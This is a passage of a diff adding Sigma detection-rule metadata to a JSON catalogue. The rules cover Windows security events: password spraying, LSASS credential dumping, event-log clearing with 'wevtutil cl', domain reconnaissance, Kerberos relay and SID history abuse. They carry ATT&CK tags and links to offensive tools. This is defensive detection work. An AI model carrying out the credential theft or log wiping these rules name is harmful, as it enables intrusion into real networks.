+ "https://twitter.com/matthewdunwoody/status/1352356685982146562", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scheduled_task_deletion.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "car.2013-08-001", + "attack.t1053.005" + ] + }, + "uuid": "4f86b304-3e02-40e3-aa5d-e88a167c9617", + "value": "Scheduled Task Deletion" + }, + { + "description": "Detects non-system users failing to get a handle of the SCM database.", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g", + "creation_date": "2019/08/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_scm_database_handle_failure.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_handle_failure.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1010" + ] + }, + "uuid": "13addce7-47b2-4ca0-a98f-1de964d1d669", + "value": "SCM Database Handle Failure" + }, + { + "description": "Detects non-system users performing privileged operation os the SCM database", + "meta": { + "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", + "creation_date": "2019/08/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_scm_database_privileged_operation.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_privileged_operation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ] + }, + "uuid": "dae8171c-5ec6-4396-b210-8466585b53e9", + "value": "SCM Database Privileged Operation" + }, + { + "description": "Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/09/02", + "falsepositive": [ + "SCCM" + ], + "filename": "win_security_scrcons_remote_wmi_scripteventconsumer.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scrcons_remote_wmi_scripteventconsumer.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.003" + ] + }, + "uuid": "9599c180-e3a8-4743-8f92-7fb96d3be648", + "value": "Remote WMI ActiveScriptEventConsumers" + }, + { + "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_service_installation_by_unusal_client.yml", + "level": "high", + "logsource.category": "security", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", + "https://twitter.com/SBousseaden/status/1490608838701166596", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_installation_by_unusal_client.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ] + }, + "uuid": "c4e92a97-a9ff-4392-9d2d-7a4c642768ca", + "value": "Service Installed By Unusual Client - Security" + }, + { + "description": "Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).", + "meta": { + "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", + "creation_date": "2020/08/06", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_smb_file_creation_admin_shares.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml", + "https://securitydatasets.com/notebooks/small/windows/08_lateral_movement/SDWIN-200806015757.html?highlight=create%20file", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ] + }, + "uuid": "b210394c-ba12-4f89-9117-44a2464b9511", + "value": "SMB Create Remote File Admin Share" + }, + { + "description": "Addition of domains is seldom and should be verified for legitimacy.", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2019/12/03", + "falsepositive": [ + "Legitimate extension of domain structure" + ], + "filename": "win_security_susp_add_domain_trust.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_domain_trust.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "0255a820-e564-4e40-af2b-6ac61160335c", + "value": "Addition of Domain Trusts" + }, + { + "description": "An attacker can use the SID history attribute to gain additional privileges.", + "meta": { + "author": "Thomas Patzke, @atc_project (improvements)", + "creation_date": "2017/02/19", + "falsepositive": [ + "Migration of an account into a new domain" + ], + "filename": "win_security_susp_add_sid_history.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=1772", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_sid_history.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1134.005" + ] + }, + "uuid": "2632954e-db1c-49cb-9936-67d1ef1d17d2", + "value": "Addition of SID History to Active Directory Object" + }, + { + "description": "Code integrity failures may indicate tampered executables.", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2019/12/03", + "falsepositive": [ + "Disk device errors" + ], + "filename": "win_security_susp_codeintegrity_check_failure.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_codeintegrity_check_failure.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.001" + ] + }, + "uuid": "470ec5fa-7b4e-4071-b200-4c753100f49b", + "value": "Failed Code Integrity Checks" + }, + { + "description": "Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool", + "meta": { + "author": "elhoim", + "creation_date": "2022/09/09", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_susp_computer_name.yml", + "level": "critical", + "logsource.category": "security", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/malmoeb/status/1511760068743766026", + "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py", + "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml" + ], + "tags": [ + "cve.2021.42278", + "cve.2021.42287", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ] + }, + "uuid": "39698b3f-da92-4bc6-bfb5-645a98386e45", + "value": "Win Susp Computer Name Containing Samtheadmin" + }, + { + "description": "The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/02/19", + "falsepositive": [ + "Initial installation of a domain controller" + ], + "filename": "win_security_susp_dsrm_password_change.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=1714", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "53ad8e36-f573-46bf-97e4-15ba5bf4bb51", + "value": "Password Change on Directory Service Restore Mode (DSRM) Account" + }, + { + "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/01/10", + "falsepositive": [ + "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", + "System provisioning (system reset before the golden image creation)" + ], + "filename": "win_security_susp_eventlog_cleared.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/deviouspolack/status/832535435960209408", + "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_eventlog_cleared.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001", + "car.2016-04-002" + ] + }, + "uuid": "d99b79d2-0a6f-4f46-ad8b-260b6e17f982", + "value": "Security Eventlog Cleared" + }, + { + "description": "Detects a source user failing to authenticate with multiple users using explicit credentials on a host.", + "meta": { + "author": "Mauricio Velazco", + "creation_date": "2021/06/01", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "filename": "win_security_susp_failed_logons_explicit_credentials.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_explicit_credentials.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ] + }, + "uuid": "196a29c2-e378-48d8-ba07-8a9e61f7fab9", + "value": "Multiple Users Attempting To Authenticate Using Explicit Credentials" + }, + { + "description": "Detects failed logins with multiple accounts from a single process on the system.", + "meta": { + "author": "Mauricio Velazco", + "creation_date": "2021/06/01", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "filename": "win_security_susp_failed_logons_single_process.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://www.trimarcsecurity.com/single-post/2018/05/06/trimarc-research-detecting-password-spraying-with-security-event-auditing", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_process.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ] + }, + "uuid": "fe563ab6-ded4-4916-b49f-a3a8445fe280", + "value": "Multiple Users Failing to Authenticate from Single Process" + }, + { + "description": "Detects suspicious failed logins with different user accounts from a single source system", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/01/10", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "filename": "win_security_susp_failed_logons_single_source.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ] + }, + "uuid": "e98374a6-e2d9-4076-9b5c-11bdb2569995", + "value": "Failed Logins with Different Accounts from Single Source System" + }, + { + "description": "Detects suspicious failed logins with different user accounts from a single source system", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/01/10", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "filename": "win_security_susp_failed_logons_single_source2.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source2.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1078" + ] + }, + "uuid": "6309ffc4-8fa2-47cf-96b8-a2f72e58e538", + "value": "Failed Logins with Different Accounts from Single Source System" + }, + { + "description": "Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol.", + "meta": { + "author": "Mauricio Velazco, frack113", + "creation_date": "2021/06/01", + "falsepositive": [ + "Vulnerability scanners", + "Misconfigured systems", + "Remote administration tools", + "VPN terminators", + "Multiuser systems like Citrix server farms" + ], + "filename": "win_security_susp_failed_logons_single_source_kerberos.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ] + }, + "uuid": "5d1d946e-32e6-4d9a-a0dc-0ac022c7eb98", + "value": "Valid Users Failing to Authenticate From Single Source Using Kerberos" + }, + { + "description": "Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol.", + "meta": { + "author": "Mauricio Velazco, frack113", + "creation_date": "2021/06/01", + "falsepositive": [ + "Vulnerability scanners", + "Misconfigured systems", + "Remote administration tools", + "VPN terminators", + "Multiuser systems like Citrix server farms" + ], + "filename": "win_security_susp_failed_logons_single_source_kerberos2.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos2.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ] + }, + "uuid": "4b6fe998-b69c-46d8-901b-13677c9fb663", + "value": "Disabled Users Failing To Authenticate From Source Using Kerberos" + }, + { + "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol.", + "meta": { + "author": "Mauricio Velazco, frack113", + "creation_date": "2021/06/01", + "falsepositive": [ + "Vulnerability scanners", + "Misconfigured systems", + "Remote administration tools", + "VPN terminators", + "Multiuser systems like Citrix server farms" + ], + "filename": "win_security_susp_failed_logons_single_source_kerberos3.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos3.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ] + }, + "uuid": "bc93dfe6-8242-411e-a2dd-d16fa0cc8564", + "value": "Invalid Users Failing To Authenticate From Source Using Kerberos" + }, + { + "description": "Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol.", + "meta": { + "author": "Mauricio Velazco", + "creation_date": "2021/06/01", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "filename": "win_security_susp_failed_logons_single_source_ntlm.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ] + }, + "uuid": "f88bab7f-b1f4-41bb-bdb1-4b8af35b0470", + "value": "Valid Users Failing to Authenticate from Single Source Using NTLM" + }, + { + "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol.", + "meta": { + "author": "Mauricio Velazco", + "creation_date": "2021/06/01", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "filename": "win_security_susp_failed_logons_single_source_ntlm2.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm2.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ] + }, + "uuid": "56d62ef8-3462-4890-9859-7b41e541f8d5", + "value": "Invalid Users Failing To Authenticate From Single Source Using NTLM" + }, + { + "description": "This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/02/19", + "falsepositive": [ + "User using a disabled account" + ], + "filename": "win_security_susp_failed_logon_reasons.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625", + "https://twitter.com/SBousseaden/status/1101431884540710913", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_reasons.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.initial_access", + "attack.t1078" + ] + }, + "uuid": "9eb99343-d336-4020-a3cd-67f3819e68ee", + "value": "Account Tampering - Suspicious Failed Logon Reasons" + }, + { + "description": "A login from a public IP can indicate a misconfigured firewall or network boundary.", + "meta": { + "author": "NVISO", + "creation_date": "2020/05/06", + "falsepositive": [ + "Legitimate logon attempts over the internet", + "IPv4-to-IPv6 mapped IPs" + ], + "filename": "win_security_susp_failed_logon_source.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_source.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.t1078", + "attack.t1190", + "attack.t1133" + ] + }, + "uuid": "f88e112a-21aa-44bd-9b01-6ee2a2bbbed1", + "value": "Failed Logon From Public IP" + }, + { + "description": "Detects a source system failing to authenticate against a remote host with multiple users.", + "meta": { + "author": "Mauricio Velazco", + "creation_date": "2021/06/01", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Other multiuser systems like Citrix server farms", + "Workstations with frequently changing users" + ], + "filename": "win_security_susp_failed_remote_logons_single_source.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_remote_logons_single_source.yml" + ], + "tags": [ + "attack.t1110.003", + "attack.initial_access", + "attack.privilege_escalation" + ] + }, + "uuid": "add2ef8d-dc91-4002-9e7e-f2702369f53a", + "value": "Multiple Users Remotely Failing To Authenticate From Single Source" + }, + { + "description": "This method triggers on rare Kerberos Failure Codes caused by manipulations of Kerberos messages", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/02/10", + "falsepositive": [ + "Faulty legacy applications" + ], + "filename": "win_security_susp_kerberos_manipulation.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_kerberos_manipulation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ] + }, + "uuid": "f7644214-0eb0-4ace-9455-331ec4c09253", + "value": "Kerberos Manipulation" + }, + { + "description": "Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like", + "meta": { + "author": "@SBousseaden, Florian Roth", + "creation_date": "2022/04/27", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_susp_krbrelayup.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g", + "https://github.com/elastic/detection-rules/blob/fb6ee2c69864ffdfe347bf3b050cb931f53067a6/rules/windows/privilege_escalation_krbrelayup_suspicious_logon.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_krbrelayup.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access" + ] + }, + "uuid": "749c9f5e-b353-4b90-a9c1-05243357ca4b", + "value": "KrbRelayUp Attack Pattern" + }, + { + "description": "Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.", + "meta": { + "author": "xknow @xknow_infosec", + "creation_date": "2019/03/24", + "falsepositive": [ + "Companies, who may use these default LDAP-Attributes for personal information" + ], + "filename": "win_security_susp_ldap_dataexchange.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", + "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", + "https://github.com/fox-it/LDAPFragger", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml" + ], + "tags": [ + "attack.t1001.003", + "attack.command_and_control" + ] + }, + "uuid": "d00a9a72-2c09-4459-ad03-5e0a23351e36", + "value": "Suspicious LDAP-Attributes Used" + }, + { + "description": "Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.", + "meta": { + "author": "James Pemberton / @4A616D6573", + "creation_date": "2019/10/31", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_susp_local_anon_logon_created.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1189469425482829824", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_local_anon_logon_created.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001", + "attack.t1136.002" + ] + }, + "uuid": "1bbf25b9-8038-4154-a50b-118f2a32be27", + "value": "Suspicious Windows ANONYMOUS LOGON Local Account Created" + }, + { + "description": "Detects suspicious processes logging on with explicit credentials", + "meta": { + "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Tim Shelton", + "creation_date": "2020/10/05", + "falsepositive": [ + "Administrators that use the RunAS command or scheduled tasks" + ], + "filename": "win_security_susp_logon_explicit_credentials.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_explicit_credentials.yml" + ], + "tags": [ + "attack.t1078", + "attack.lateral_movement" + ] + }, + "uuid": "941e5c45-cda7-4864-8cea-bbb7458d194a", + "value": "Suspicious Remote Logon with Explicit Credentials" + }, + { + "description": "Detects logon events that specify new credentials", + "meta": { + "author": "Max Altgelt", + "creation_date": "2022/04/06", + "falsepositive": [ + "Legitimate remote administration activity" + ], + "filename": "win_security_susp_logon_newcredentials.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_newcredentials.yml" + ], + "tags": "No established tags" + }, + "uuid": "def8b624-e08f-4ae1-8612-1ba21190da6b", + "value": "Outgoing Logon with New Credentials" + }, + { + "description": "Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN", + "meta": { + "author": "sigma", + "creation_date": "2017/02/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_susp_lsass_dump.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/jackcr/status/807385668833968128", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "aa1697b7-d611-4f9a-9cb2-5125b4ccfd5c", + "value": "Password Dumper Activity on LSASS" + }, + { + "description": "Detects process handle on LSASS process with certain access mask", + "meta": { + "author": "Roberto Rodriguez, Teymur Kheirkhabarov, Dimitrios Slamaris, Mark Russinovich, Aleksey Potapov, oscd.community (update)", + "creation_date": "2019/11/01", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason; update the whitelist with it" + ], + "filename": "win_security_susp_lsass_dump_generic.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump_generic.yml" + ], + "tags": [ + "attack.credential_access", + "car.2019-04-004", + "attack.t1003.001" + ] + }, + "uuid": "4a1b6da0-d94f-4fc3-98fc-2d9cb9e5ee76", + "value": "Generic Password Dumper Activity on LSASS" + }, + { + "description": "Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).", + "meta": { + "author": "Vasiliy Burov, oscd.community", + "creation_date": "2020/10/16", + "falsepositive": [ + "Software uninstallation", + "Files restore activities" + ], + "filename": "win_security_susp_multiple_files_renamed_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.manageengine.com/data-security/how-to/how-to-detect-ransomware-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_multiple_files_renamed_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1486" + ] + }, + "uuid": "97919310-06a7-482c-9639-92b67ed63cf8", + "value": "Suspicious Multiple File Rename Or Delete Occurred" + }, + { + "description": "Detects activity as \"net user administrator /domain\" and \"net group domain admins /domain\"", + "meta": { + "author": "Florian Roth (rule), Jack Croock (method), Jonhnathan Ribeiro (improvements), oscd.community", + "creation_date": "2017/03/07", + "falsepositive": [ + "Administrator activity" + ], + "filename": "win_security_susp_net_recon_activity.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_net_recon_activity.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.002", + "attack.t1069.002", + "attack.s0039" + ] + }, + "uuid": "968eef52-9cff-4454-8992-1e74b9cbad6c", + "value": "Reconnaissance Activity" + }, + { + "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/05/09", + "falsepositive": [ + "Legitimate used of encrypted ZIP files" + ], + "filename": "win_security_susp_opened_encrypted_zip.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sbousseaden/status/1523383197513379841", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip.yml" + ], + "tags": "No established tags" + }, + "uuid": "00ba9da1-b510-4f6b-b258-8d338836180f", + "value": "Password Protected ZIP File Opened" + }, + { + "description": "Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/05/09", + "falsepositive": [ + "Legitimate used of encrypted ZIP files" + ], + "filename": "win_security_susp_opened_encrypted_zip_filename.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sbousseaden/status/1523383197513379841", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml" + ], + "tags": "No established tags" + }, + "uuid": "54f0434b-726f-48a1-b2aa-067df14516e4", + "value": "Password Protected ZIP File Opened (Suspicious Filenames)" + }, + { + "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/05/09", + "falsepositive": [ + "Legitimate used of encrypted ZIP files" + ], + "filename": "win_security_susp_opened_encrypted_zip_outlook.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sbousseaden/status/1523383197513379841", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_outlook.yml" + ], + "tags": "No established tags" + }, + "uuid": "571498c8-908e-40b4-910b-d2369159a3da", + "value": "Password Protected ZIP File Opened (Email Attachment)" + }, + { + "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", + "meta": { + "author": "Ilyas Ochkov, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Other browsers" + ], + "filename": "win_security_susp_outbound_kerberos_connection.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/GhostPack/Rubeus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1558.003" + ] + }, + "uuid": "eca91c7c-9214-47b9-b4c5-cb1d7e4f2350", + "value": "Suspicious Outbound Kerberos Connection" + }, + { + "description": "Detects possible addition of shadow credentials to an active directory object.", 